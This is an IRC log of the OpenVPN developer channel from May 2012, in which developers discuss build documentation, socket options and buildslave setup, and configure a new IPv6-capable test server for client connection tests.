[nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:33 -!- raidz is now known as raidz_afk --- Day changed Thu May 24 2012 01:18 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 03:45 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 03:56 <+krzee> am checking out easy-rsa… the only differences between openssl-0.9.8.cnf and openssl-1.0.0.cnf lies in the comments 03:59 -!- novaflash is now known as novaflash_away 03:59 <+krzee> and in whichopensslconf is has: 03:59 <+krzee> else 03:59 <+krzee> cnf="$1/openssl.cnf" 04:00 <+krzee> but doesnt ship with a file name openssl.cnf 04:06 <+krzee> meh im not going to mess with easy-rsa, ill be more likely to code something similar but with less features in bash and make it part of my confgen 04:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 248 seconds] 04:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:16 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:17 -!- dazo_afk is now known as dazo 04:32 <@dazo> krzee: I did some adjustments to easy-rsa ... so it shouldn't strictly depend on openssl.cnf ... but have it as a fallback, if whichopensslconf fails ... however, we don't ship openssl.cnf anymore ... just those two you mentioned 04:32 <@dazo> but the regexp needs enhancements ... but I believe that's in the queue already 04:52 <+krzee> ya, just making the alpha optional 07:53 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 12:02 -!- raidz_afk is now known as raidz 12:08 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 12:18 < SviMik> hi all. I have a question... can anybody help me compiling openvpn for windows? I have a small patch, which was checked under linux and seems working, but I have no idea how to build it for windows... 12:19 < SviMik> the patch is for ntlm proxy authentication, which does not work with Forefront TMG proxy with current openvpn version. (maybe somebody know about this problem?) 12:20 <+krzee> https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 12:20 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 12:33 <@dazo> If using the git tree, based on the latest git master branch ... https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 12:33 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 12:34 * dazo heads out 12:34 <@dazo> (will come back for the meeting ... or was that ever announced?) 12:34 < SviMik> I was hoping that someone already has a ready environment :) 12:34 < SviMik> I have found the desired patch on openvpn forum: http://forums.openvpn.net/topic7945-15.html#p12710 12:34 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN client behind ISA ( Forefront TMG ) : Configuration - Page 2 (at forums.openvpn.net) 12:35 < SviMik> it is strange that bugs found and even fixed a year ago are still not fixed in official version :( 12:36 <@dazo> well, I almost never ever look at the forum ... unless I see vpnHelper kicking out some interesting topics 12:36 <@dazo> if you want traction to bug fixes ... get them to the mailing list 12:37 <@dazo> (dinner time!) 12:40 < SviMik> actually this patch is not written by me, and I don't know how it works. I just checked it on linux and it works, but I don't understand the inner work, so I can't write a distinct bugreport or message to mailing list 12:42 < SviMik> maybe this patch can break something, I don't know... it needs to be checked by somebody who understands this part of code 12:43 <@mattock> meeting today? 12:43 <@mattock> I think the topic list is roughly this: https://community.openvpn.net/openvpn/wiki/OpenVPN2.3 12:43 <@vpnHelper> Title: OpenVPN2.3 – OpenVPN Community (at community.openvpn.net) 12:44 <@mattock> is -> would be 13:10 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 13:10 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 13:11 -!- novaflash_away is now known as novaflash 13:23 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 256 seconds] 13:29 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:29 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 13:32 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 13:42 * cron2 doesn't feel like meeting - I need to finish the test server, and I hope that will happen this weekend 13:42 <@cron2> tonight I need to go and wreck customer networks 14:03 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 15:09 -!- dazo is now known as dazo_afk 16:56 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 240 seconds] 19:34 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 19:40 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: svimik@mail.ru] 19:49 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 20:24 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:24 -!- mode/#openvpn-devel [+o andj] by ChanServ 20:32 -!- Netsplit *.net <-> *.split quits: uuuppz, @d12fk, maxb, const, RubyPanther, EvilJStoker, @dazo_afk, @mattock, coderrr, @andj, (+4 more, use /NETSPLIT to show all of them) 20:43 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 20:43 -!- const [root@freebsd/developer/variable] has joined #openvpn-devel 20:43 -!- coderrr [~steve@pdpc/corporate-sponsor/privateinternetaccess.com/coderrr] has joined #openvpn-devel 20:43 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 20:43 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 20:43 -!- ServerMode/#openvpn-devel [+o raidz_afk] by hitchcock.freenode.net 20:44 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:44 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 20:44 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 20:44 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 20:44 -!- RubyPanther [~paris@c-24-22-48-80.hsd1.or.comcast.net] has joined #openvpn-devel 20:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 20:44 -!- ServerMode/#openvpn-devel [+oooo andj dazo_afk vpnHelper mattock] by hitchcock.freenode.net 20:44 -!- maxb [~maxb@jabberwock.vm.bytemark.co.uk] has joined #openvpn-devel 20:44 -!- uuuppz [~uuuppz@78.129.207.46] has joined #openvpn-devel 20:45 -!- Netsplit *.net <-> *.split quits: uuuppz, maxb, const, RubyPanther, EvilJStoker, @dazo_afk, @mattock, coderrr, @andj, @raidz_afk, (+3 more, use /NETSPLIT to show all of them) 20:51 -!- Netsplit over, joins: uuuppz, maxb, @mattock, RubyPanther, @vpnHelper, EvilJStoker, @dazo_afk, @andj, @raidz_afk, const (+3 more) 23:42 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel --- Day changed Fri May 25 2012 00:25 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 244 seconds] 04:42 -!- dazo_afk is now known as dazo 05:17 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 07:05 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 07:05 -!- mode/#openvpn-devel [+o cron2] by ChanServ 08:19 <@mattock> krzee: for post-2.3-alpha1 code Windows building docs are here: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 08:19 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 08:19 <@mattock> much easier, provided one has a *NIX box at his/her disposal 08:24 <@cron2> wtf... this PKTINFO stuff is confusing 08:27 <@cron2> ah, it's in "man 7 ip" and seems to be a Linux-only thing... 08:30 <@cron2> dazo: what's the current state of things regarding pktinfo and macos? still waiting for jjo are we? 08:30 <@dazo> cron2: yeah, basically 08:31 <@dazo> I don't recall exactly ... but anything IPv6 + transport I usually wants him to review 08:31 <@cron2> humm. The "man 4 ip6" manpage on MacOS documents IPV6_PKTINFO 08:32 * cron2 needs to read up what the actual problem was, and try to build master on osx... 08:33 <@cron2> (a colleague just called and asked a few naive questions about socket options, and then I started to dig into it, found dozens of yet-unknown options, and interesting documentation realms... like "man 7 tcp" and thus on Linux...) 08:33 <@cron2> of course it's "man 4 tcp" on BSD, and some of the interesting options are called differently, like IP_PKTINFO on Linux = IP_RECVDSTADDR on FreeBSD... 08:34 * dazo heads for a late lunch 08:43 <@mattock> ok, back to setting up Ubuntu 10.04 and 12.04 buildslaves 08:43 <@mattock> this time 10.04 with enough disk :P 09:06 <@dazo> mattock: I've seen your mail ... I'm having it very hectic these days (busy weekend, travelling to Czech on Monday - with partly holiday next week), but when it calms down I'll read it more carefully and respond to it 09:06 <@cron2> was that on the list or private? 09:06 * cron2 was hopelessly drowned/swamped/whatyoumaycallit for the last 3 weeks 09:09 <@dazo> cron2: it was a private mail 09:09 <@cron2> good, nothing I could have missed :-) 09:09 <@dazo> nope :) 09:11 <@dazo> These days I'm angry on Thunderbird ... somehow all my tags disappeared in the -devel folder ... where I tracked the different patch statuses :/ ... so I need to go through ~80 mails and flag them again ... maybe I'll just drop them into separate folders this time :) 09:21 <@mattock> dazo: it's your N900 09:21 <@mattock> same here 09:22 <@mattock> all thunderbird tags are destroyed when the N900 opens the mailbox 09:22 <@dazo> mattock: seriously? It's 'modest' which kills the tags? 09:22 <@dazo> grrrrrrrrr 09:22 <@mattock> yeah, seriously 09:22 <@mattock> I debugged that when my fiancee encountered that issue 09:22 * dazo curses and considers to throw his N900 hard into the concrete wall 09:23 <@mattock> please don't, it's a fine phone and a good instrument for work regardless :) 09:23 <@dazo> btw ... I've had a week recently where the phone decided to reboot regularly too 09:23 <@mattock> just don't check your emails with it, lol :) 09:23 <@dazo> and it even corrupted /home/users/MyDocs ... so had basically to scratch that .... not any good recovery on such a partition which is a vfat partition 09:24 <@mattock> dazo: which email provider are you using? I've encountered the "tags destroyed" issue when using Gmail 09:24 <@dazo> I'm using a IMAP service from a basic Linux hosting company 09:24 <@dazo> (but I'm moving over to my own Zimbra installation ... haven't had time to migrate all domains yet) 09:25 <@dazo> * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE AUTH=PLAIN ACL ACL2=UNION XMAGICTRASH] Courier-IMAP ready. Copyright 1998-2011 Double Precision, Inc. See COPYING for distribution information. 09:25 <@dazo> Courier-IMAP server it seems 09:26 <@mattock> ouch, Zimbra... that one is something. I built it once, what a mess :D 09:27 <@dazo> oh, that's a gigantic thing to build yourself ... I set up a VM which is dedicated for Zimbra 09:27 <@mattock> meaning... I'm surprised it works at all 09:27 <@mattock> :P 09:27 <@dazo> and that works very well actually ... but I can't imaging building it myself 09:27 <@mattock> they've taken the "integrate all sorts of stuff together" approach to the extreme 09:28 <@dazo> it's quite resource hungry, esp. RAM (probably due to most of it is Java) ... but when it got what it needs (3G RAM), it works very well for me 09:28 <@mattock> yeah, the installer works/worked quite nicely, but building for source was mostly undocumented and a big mess 09:28 <@dazo> I can imagine that 09:28 <@dazo> but they're quite responsive to bugzillas ... does a fairly good job filtering spam ... and the web based admin is a pleasure to work with 09:29 <@mattock> the building mess coupled with licensing choices made sure nobody else would even bother of trying to sell 09:29 <@mattock> Zimbra to their customers 09:29 <@dazo> I've rolled out the commercial version at an organisation in Oslo, with ~27 users ... and they 09:29 <@mattock> i.e. the pre-built installer had a very strict licensing 09:29 <@mattock> not sure how it's nowadays, it's been several years since I used it 09:29 <@dazo> 're happy too ... got ActiveSync working flawlessly against Andriod (ICS) 09:30 <@dazo> The installer complains that ScientificLInux isn't supported ... but it's a --platform-override argument ... and it slides in 09:30 <@dazo> but I've not tried anything else than Zimbra on CentOS and SL 09:32 <@dazo> I've been pondering to try out Zarafa too ... but to configure it quite a job, from what I figured .... so I found Zimbra easier when I don't have time to dig into all small details ... even though Zarafa would learn me a lot, for sure :) 09:49 <@mattock> ok, rebuilt ubuntu 10.04 amd64 buildslave and setup ubuntu 12.04 amd64 buildslave 09:49 <@mattock> I'll see if finishing the opensuse 12.1 buildslave setup would be trivial... 09:51 <@cron2> isn't this overdoing things a bit? Are they at least different architectures, like 32 bit and 64 bit and ARM and ...? 09:51 <@cron2> (given that ubuntu and debian are basically both "debian"...) 09:52 <@dazo> cron2++ 09:52 <@dazo> even though, there might be different compiler and lib versions ... Ubuntu is more bleeding edge 09:56 <@mattock> cron2: not really, I want to build packages for all those platforms and buildslave setup is automated using puppet 09:56 <@cron2> ah, that's cool 09:56 <@mattock> so it's not a big deal to setup more buildslaves 09:57 <@mattock> to save my server's ram I've only used part of those VMs as buildslaves 09:57 <@cron2> for package building, you really want the specific box type, yes 09:57 <@mattock> yep 09:58 <@mattock> package building part is semi-automatic, as full buildslave integration did not work out so well (too many moving parts) 09:58 <@mattock> now I build, sign and upload the packages using Fabric (essentially a fancy wrapper for running SSH commands on several 09:58 <@mattock> hosts in parallel, or in serial) 09:59 <@mattock> if you've used "SSH in a for loop" approach, Fabric is much better 09:59 <@mattock> more powerful, but the same principle 10:04 <@mattock> hmm, opensuse fighting back, I'll leave it for next week 10:26 <@cron2> mattock: you need to tell puppet to install polar... 10:28 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 11:11 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 11:16 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:16 -!- mode/#openvpn-devel [+o dazo] by ChanServ 12:06 -!- dazo is now known as dazo_afk 12:13 -!- raidz_afk is now known as raidz 13:17 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 244 seconds] 13:35 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 13:38 <@vpnHelper> RSS Update - tickets: #211: OpenVPN Windows TAP driver certificate expired <https://community.openvpn.net/openvpn/ticket/211> 13:48 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 250 seconds] 13:58 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 14:33 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 244 seconds] 17:23 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 245 seconds] 17:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:21 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:21 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 20:05 -!- raidz is now known as raidz_afk 22:12 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 244 seconds] 23:20 -!- rommel092079 [79363a8f@gateway/web/freenode/ip.121.54.58.143] has joined #openvpn-devel 23:24 < rommel092079> good day sir I would like to ask about openvpn against mitm? does the word mitm include packet injection? sorry that I asked here cause I am seem to be banned in openvpn channel which I do not know. 23:27 < rommel092079> i just would like to confirm that if I use the full potential of tls/ssl through certs and keys, cipher, tls-cipher, etc, it will eliminate the mitm problem in vpn connection? 23:39 < ecrist> rommel092079: you're not welcome here. 23:39 < ecrist> and you know why 23:40 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 23:40 -!- rommel092079 [79363a8f@gateway/web/freenode/ip.121.54.58.143] has quit [Quit: Page closed] --- Day changed Sat May 26 2012 01:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:24 -!- alonbl [~alonbl@unaffiliated/alonbl] has joined #openvpn-devel 04:18 <@andj> ecrist: just out of interest, why? 04:18 <@andj> except for being in the dev channel of cours 04:18 <@andj> e 05:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 06:53 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 07:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:55 <@ecrist> andj: he's been answered about 300 different times, and he just comes back and asks the same question every time. 07:56 <@ecrist> additionally, we're not OK with ban avoidance, and he's been guilty of that multiple times 08:22 <+krzee> ecrist, who is that re? 08:30 <@mattock> for some reason Youtube thinks I want to buy EV SSL certs from Digicert, after having searched for code-signing certs from Digicert 08:30 <@mattock> using Google... annoying 08:58 <+krzee> you can turn that stuff off 08:59 <+krzee> http://geekbeat.tv/tutorial-how-to-disable-all-google-tracking/ 08:59 <@vpnHelper> Title: Tutorial: How to Disable All Google Tracking | Geek Beat Technology News (at geekbeat.tv) 09:45 <@andj> ecrist: thanks, was a little curious :) 11:55 -!- alonbl [~alonbl@unaffiliated/alonbl] has quit [Ping timeout: 240 seconds] 14:30 <@ecrist> krzee: rommel092079 14:33 <@ecrist> krzee: he was back, asking about MITM attacks, again. 14:43 <+krzee> oh god 15:37 <@ecrist> heh, you banned all the web users again, eh? 16:00 <+krzee> again? i thought i had only talked about it in the past 16:00 <+krzee> i used to just /ignore them 16:00 <@ecrist> 15:37:03 -!- 3 - #openvpn: ban *!*@gateway/web/freenode/* [by krzee, 1047350 secs ago] 16:00 <+krzee> but ya, i couldnt take it anymore 16:01 <@ecrist> I wasn't implying you had done it a second time, yourself, but the web users have a history of on again/off again bans in our channels 16:01 <+krzee> ahh i didnt know we had banned it before 16:02 <+krzee> feel free to remove it if ya like, but i think it fits nicely ;] 16:02 <@ecrist> oh no, it can stay 16:02 <+krzee> hehe 16:02 <+krzee> i think we all feel the same on that one 17:03 -!- Sevet [~Sevet@5e03d7e0.bb.sky.com] has joined #openvpn-devel 17:34 -!- Sevet [~Sevet@5e03d7e0.bb.sky.com] has left #openvpn-devel [] --- Log closed Sat May 26 19:03:39 2012 --- Log opened Tue May 29 08:17:01 2012 08:17 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:17 -!- Irssi: #openvpn-devel: Total of 15 nicks [4 ops, 0 halfops, 1 voices, 10 normal] 08:17 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:26 <@cron2> ecrist: ah, have been waiting for you :-) 08:27 < ecrist> shit 08:32 <@mattock> ecrist: can you configure the public test server to start on host startup? 08:34 <@cron2> mattock: I can do that, that's easy :-) - and I will, when it's done 08:34 < ecrist> the one on my network, I assume you're asking? 08:34 <@mattock> ecrist: yes, on the ESXi host 08:34 <@cron2> ecrist: much easier: can I have an IPv6 address for the server (173.8.118.218)? 08:34 <@mattock> lol 08:34 < ecrist> no 08:35 < ecrist> that network doesn't currently have IPv6 08:35 <@cron2> everything that needs to be done *on* the machine, I can do :-) 08:35 <@cron2> ecrist: :-(( 08:35 < ecrist> BUT, have no fear, I plan on providing a NEW test server in the near future 08:35 <@cron2> ecrist: is that a local thing ("just a matter of time") or more convoluted, like "no upstream with IPv6, no routers capable, etc."? 08:35 < ecrist> at a real data center, with native IPv6 08:36 <@cron2> ecrist: ok, how near is "near"? 08:36 < ecrist> cron2: like ~2 weeks 08:36 < ecrist> I just need the cash available. 08:36 <@cron2> ok, then I need to change my client setup to connect to some hostname, not to the IPv4 address 08:36 <@cron2> mattock: can you do DNS entries in openvpn.net? 08:37 * ecrist would still like openvpn.org handed over to the community 08:37 <@mattock> cron2: nope, but I can ask Andrew to do it 08:37 <@mattock> ecrist: that's still a good idea 08:38 <@cron2> mattock: that would be nice. Something like "conn-test-server IN A 173.8.118.218" or anything else that I can use in t_client.rc 08:38 <@cron2> so we won't have to touch all buildbots when the VM changes 08:39 <@mattock> yep, I'll poke andrew again 08:39 <@cron2> ecrist: can you move the VM, or do you have to setup a new VM and we re-install everything? 08:39 <@cron2> mattock: oh, you already did. Didn't know 08:39 <@mattock> no, I didn't, I've just been poking him on other matters lately 08:39 <@cron2> ecrist: regarding openvpn.org - I'm not striving for perfection this month, just for gradual improvements :-) 08:39 <@mattock> e.g. code-signing keys, T-shirts, etc 08:40 <@cron2> yay 08:40 < ecrist> cron2: indeed 08:40 <@mattock> I'd need a longer stick, though :P 08:40 <@mattock> 12 hour plane ride long 08:40 <@cron2> no backup for Andrew? 08:41 <@mattock> no backup that has time and the means, no 08:42 < ecrist> heh. I don't recall my creds for that test box 08:43 <@cron2> ecrist: I have disabled root ssh :-) so you need to login via console, or hand me an ssh pubkey 08:43 <@cron2> (permitRootLogin without-password) 08:44 <@cron2> too many ssh scanners around 08:44 <@cron2> "to me or to mattock" :) 08:47 < ecrist> don't remember the root password 08:51 <@cron2> just send me (gert@greenie.muc.de or /query) an ssh pubkey then :-) 08:56 < ecrist> ssh-dss AAAAB3NzaC1kc3MAAACBAOpDDjS43nT9asN+wy3+cL9+PIHY3zLPz+hUIWcIJ637GAb0G1UsYh5dCFUPn2vUHHR1dwsQBGStMYQd3fNIhziHWlxz7BcPdmzMr1PqRzTaJxI3U+2vZDesXPEWLbBBTNEdkPcbhc5gJtkLAdej568dJvG9WWhzdfiX7UyNc9XvAAAAFQDa4jKNxkthSBkTCzbe3rC+jqvs/QAAAIBZQbHUJhlNEffQVK9m6664gtk11r+tg06ne+55jjwegdg1Eeaqr19R6qUgAIrLv0Q3f3J0FfK88cuyk0pjM/1kR6kR3tmSA6jd4V2xjtzSEyY9JO8ylo2l23z8ohKYG1wsQ/jo1XrwGFCuoaYaHd5vmtx0yekDoDhh6uBYs5ARngA ... 08:56 < ecrist> ... AAIAtcBPHWds1Hgkkiwil+XViVX+ATWclukMEH5/XS8WVmnGDOVx7nvaU6J3/sSsCfoE/2DG4PlwP01znAqew3F8mh6OBbEzVKeyDZl5VUgVJA8qtgHGOGhBYCb9oetoZxoAH5zMXxLVQn8YSWkXzy1D5eRKzZMts2KsrgbMvMlNMzw== 08:57 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Quit: for(;;) break;] 08:57 <@cron2> uh. it's in, let's see whether I stitched it right ("ARngAAAAIAtc...") 08:58 < ecrist> seems 08:59 <@cron2> good :) 09:01 < ecrist> no 09:01 * ecrist gives up for now 09:01 <@cron2> huh? 09:01 < ecrist> can you show me uname -a 09:01 <@cron2> FreeBSD 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17 02:41:51 UTC 2011 root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64 09:01 < ecrist> not in 09:02 < ecrist> unless you have a ton of work into that box, probably new box will be new install 09:02 < ecrist> freebsd 9 09:03 <@cron2> amount of work is limited (install sudo + portmaster, upgrade ports tree, upgrade openvpn-devel port to latest, to get all the ipv6-on-freebsd bugfixes :) ) 09:04 <@cron2> I plan to install openvpn-from-git-with-polarssl, but that can wait for the new machine - so if you copy over ~root/ to the new box, almost everything is fine (and the rest is quick) 09:10 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 09:10 -!- mode/#openvpn-devel [+v janjust] by ChanServ 09:10 -!- Netsplit *.net <-> *.split quits: novaflash, RubyPanther 09:16 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 09:16 -!- Netsplit over, joins: RubyPanther 09:38 * ecrist returns 09:42 < ecrist> ping mattock, can you PM? 09:56 <@mattock> aber wo ist dazo? 10:04 <@cron2> now that's a good question 10:07 < ecrist> cron2: fwiw, I've been using 2.3alpha1 to push IPv6 to clients, and haven't had any issues thus far 10:07 < ecrist> use IPv4 to connect, and handing out both IPv4 and IPv6 to vpn clients from a freebsd server 10:07 <@cron2> ecrist: cool! 10:08 * cron2 doesn't run so modern software right now, our corp servers use some older -devel snapshot :) 11:06 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 11:07 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 11:14 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 12:36 < ecrist> cron2: I have been gifted two VMs from my colo, so I'll have a new test server configured in the next day or two. 12:37 < ecrist> with native IPv6 13:30 <@cron2> ecrist: cool --- Log opened Tue May 29 12:56:04 2012 12:56 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 12:56 -!- Irssi: #openvpn-devel: Total of 14 nicks [4 ops, 0 halfops, 1 voices, 9 normal] 12:56 -!- Irssi: Join to #openvpn-devel was synced in 1 secs --- Log opened Tue May 29 13:53:05 2012 13:53 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 13:53 -!- Irssi: #openvpn-devel: Total of 14 nicks [4 ops, 0 halfops, 1 voices, 9 normal] 13:53 !card.freenode.net [freenode-info] channel trolls and no channel staff around to help? please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 13:53 -!- Irssi: Join to #openvpn-devel was synced in 18 secs 13:55 < ecrist> cron2: I've got a new VPS I'm hoping to have ready for you today yet 13:55 < ecrist> terrence.secure-computing.net 13:55 <@cron2> whoa, that was quick :) 13:55 < ecrist> it will have IPv4, IPv6, and it will have a second /64 routed to it (so you can push IPv6 via the VPN, etc) 13:56 < ecrist> I need to tweak some ssh keys, the firewall, and some basic network services. 13:56 <@cron2> cool. (The second /64 is not needed, I run the test VPN on fd00:: space - it doesn't need to have public IP addresses - and to the contrary, I do *not* want it to be reachble from the clients of the VPN is down :-) ) 13:58 < ecrist> in that case, you can have phillip.secure-computing.net 13:58 < ecrist> no extra /64 routed there. 13:59 <@cron2> I take what you give me :) 13:59 < ecrist> same applies, though, need to do some initial host setup and it'll be ready to go in a couple hours 13:59 < ecrist> public ssh key for you? 14:43 < ecrist> cron2: you're Gert, right? 14:43 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 14:48 <+krzee> he is 15:03 < ecrist> krzee: I got RootBSD to donate two VMs for my devel purposes with OpenVPN/FreeBSD 15:03 < ecrist> :D 15:05 <+krzee> nice =] 15:06 <+krzee> and buildbots fit that description! 15:07 < ecrist> indeed 15:07 < ecrist> the second one is going to replace my build/test box, cartman 15:08 < ecrist> terrance (new cartman) and phillip (new buildbox) 15:08 < ecrist> buildbot* 15:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:47 <@cron2> ecrist: mmh, it doesn't even want to ask me for a password 15:48 <@cron2> ssh -v tells me "only supported auth method is pubkey" and the pubkey is rejected 16:19 <@cron2> (ok, more tomorrow, to bed now) 16:20 <@cron2> ecrist: oh, regarding firewall. Please open udp+tcp 51194-51220 for openvpn instances today: 51194-51199, but more to come) 16:20 <@cron2> ipv4+ipv6 17:04 < ecrist> cron2: I had bad ownership on your home directory 17:04 < ecrist> your pubkey should work now 17:26 < ecrist> conn-test-server.openvpn.org has address 199.102.77.82 17:26 < ecrist> conn-test-server.openvpn.org has IPv6 address 2607:fc50:1001:5200::4 17:26 < ecrist> cron2: that's for you, courtesy of raidz ^^^^^^ 21:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Wed May 30 2012 01:06 <@cron2> ecrist: double cool :-) - login works now, and with the host name, I can adjust the scripts to use the name right away 03:26 -!- novaflash [~novaflash@openvpn/user/novaflash] has quit [Ping timeout: 245 seconds] 04:17 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 04:31 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 04:31 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 06:34 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 06:34 -!- mode/#openvpn-devel [+o dazo] by ChanServ 07:11 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 07:11 -!- mode/#openvpn-devel [+v janjust] by ChanServ 07:12 < ecrist> cron2: great! 07:12 < ecrist> btw, if you don't already use it, portsnap to keep the ports tree up to date 08:52 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:53 <@cron2> ecrist: using portsnap, works for me :-) 08:57 < ecrist> good 09:59 <@cron2> first round of client tests running against phillip... 10:00 <@cron2> tcp test ok... 10:01 <@cron2> udp test 1 ok... 10:04 <@cron2> udp/tap test ok... 10:05 <@cron2> yay, all client tests freebsd74->phillip passed, so I can now roll out to other buildslaves 10:05 <@cron2> ecrist: thanks again :-) 10:05 <@cron2> (no v6 transport tests yet, tho) 10:16 < ecrist> no problems! 12:30 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 12:37 -!- RubyPanther [~paris@c-24-22-48-80.hsd1.or.comcast.net] has quit [Ping timeout: 240 seconds] 12:39 -!- RubyPanther [~paris@c-24-22-48-80.hsd1.or.comcast.net] has joined #openvpn-devel 13:17 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has quit [Ping timeout: 250 seconds] 13:21 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has joined #openvpn-devel 13:50 -!- dazo is now known as dazo_afk 14:03 -!- Sevet [~Sevet@188-222-99-65.zone13.bethere.co.uk] has left #openvpn-devel [] 17:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:26 -!- krzee 